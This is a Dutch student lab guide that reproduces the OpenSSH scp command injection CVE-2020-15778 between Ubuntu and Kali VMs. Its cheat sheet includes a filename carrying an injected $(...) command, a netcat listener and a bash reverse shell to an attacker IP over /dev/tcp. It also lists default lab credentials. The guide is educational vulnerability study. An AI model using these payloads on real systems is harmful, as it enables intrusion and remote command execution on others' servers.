NPE Cybersecurity and virtualisation | CVE-2020-15778

Gilles De Meerleer, Yana Cattoir en David Bukasa Ntunu

Github repository van deze opdracht: https://github.com/DeMeerleerGilles/NPE-Cybersecurity

Opzetten van de omgeving

In deze handleiding wordt uitgelegd hoe je de omgeving voor het project kunt opzetten. De omgeving wordt opgezet met behulp van Vbox manage.

Stap 1: Download de benodigde software en bestanden

1. Download de Ubuntu server VDI (20.04.4) van OSboxes https://sourceforge.net/projects/osboxes/files/v/vb/59-U-u-svr/20.04/20.04.4/64bit.7z/download en de Kali VDI (2024.4) https://sourceforge.net/projects/osboxes/files/v/vb/25-Kl-l-x/2024.4/64bit.7z/download

2. Pak deze zips uit en plaats de VDI's in een map naar keuze. Voor het gemak kun je de VDI's in de map van VirtualBox VMs plaatsen. Deze staat standaard in `C:\Users\gebruikersnaam\VirtualBox VMs`.

3. Kopieer het pad naar de map waarin je de VDI hebt geplaatst. In Windows kun je dit eenvoudig doen door de VDI te selecteren en op Ctrl + Shift + C te drukken. Dit kopieert het pad naar het bestand.

4. Daarnaast heb je de `src` map van deze repository nodig. Deze map bevat alle configuratiebestanden die nodig zijn om de omgeving op te zetten. Maak dus een clone van deze repository.

Stap 2: Pas de variabelen aan in de scripts "server-setup.ps1" en "kali-setup.ps1"

Om de scripts te kunnen gebruiken, moet je de volgende variabelen aanpassen:

```
$mediumLocation = "C:\Users\gille\VirtualBox VMs\Ubuntu Server 20.04.4
(64bit).vdi"  # Pad waar de virtuele schijf wordt opgeslagen
```

Stap 3: Voer de scripts uit

Eens alle paden zijn ingesteld, kun je de scripts uitvoeren.

```
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process # Enkel nodig als je
een beveiligingsfout krijgt
.\server-setup.ps1
.\kali-setup.ps1
```

De scripts zullen nu de omgeving opzetten. Dit kan enkele minuten duren.

Log in op de VM's met de volgende gegevens:

username: `osboxes` password: `osboxes.org`

```
# Intaller nu ssh op de server
sudo apt update
sudo apt install openssh-server
sudo systemctl enable --now ssh

# Vraag het ip adres op van de server
ip a
```

Verbind nu vanaf je host machine met de server via ssh. Dit kan met de volgende opdracht:

```
ssh osboxes@<ip-adres-van-server>
```

Kopieer het installatie script "install.sh" naar de server met scp of WinSCP (pas het ip adres aan naar het ip adres van de server):

```
scp install.sh osboxes@192.168.0.226:/home/osboxes
```

Controlleer of het script goed is aangekomen met de volgende opdracht:

```
osboxes@osboxes:~$ ls
install.sh
```

Maak het script uitvoerbaar met de volgende opdracht:

```
chmod +x install.sh
```

Voer het script uit met de volgende opdracht:

```
sudo ./install.sh
```

Cheat sheet voor de aanval

Stap 1: Controleer of de VM's met elkaar kunnen communiceren

```

```

```
ping 192.168.0.226
PING 192.168.0.226 (192.168.0.226) 56(84) bytes of data.
64 bytes from 192.168.0.163: icmp_seq=1 ttl=64 time=16.1 ms
64 bytes from 192.168.0.163: icmp_seq=2 ttl=64 time=7.04 ms
64 bytes from 192.168.0.163: icmp_seq=3 ttl=64 time=7.80 ms
64 bytes from 192.168.0.163: icmp_seq=4 ttl=64 time=7.78 ms
64 bytes from 192.168.0.163: icmp_seq=5 ttl=64 time=8.33 ms
```

SCP command injection

```
scp test.txt osboxes@192.168.0.226:/tmp/$(echo hello)

osboxes@192.168.0.163's password:
test.txt
100%    0     0.0KB/s   00:00
```

Resultaat: er verschijnt een bestand hello op de server in /tmp, aangemaakt door de injectie.

```
osboxes@osboxes:/tmp$ ls
hello
```

Reverse shell via netcat

We kunnen nog een beetje verdergaan en een reverse shell opstarten via netcat. Dit doen we door misbruik te maken van de command injection in ssh.

Start een netcat listener op de aanvaller machine

```
nc -lvnp 4444
```

Reverse shell via SSH

```
ssh osboxes@192.168.0.226 'bash -i >& /dev/tcp/192.168.0.121/4444 0>&1'
```

De reverse shell is nu geopend in het terminal venster waar de listener draait. Je kunt nu commando's uitvoeren op de server via de reverse shell.

Hoe werkt het?

- SCP werkt door een commando scp -t uit te voeren op de remote host om bestanden te ontvangen.
- De bestandsnaam wordt niet gesanitiseerd waardoor shell-injectie via backticks of $(...) mogelijk is.

- Dit is een authenticated exploit: je moet wel over geldige SSH-credentials beschikken.

Waarom is het belangrijk om je servers te beschermen?

- Veel systemen gebruiken SCP nog steeds voor bestanden overzetten.
- Kwaadwillenden met toegang kunnen zo eenvoudig commando's uitvoeren op de server.
- OpenSSH adviseert over te stappen op veiligere alternatieven zoals rsync of sftp.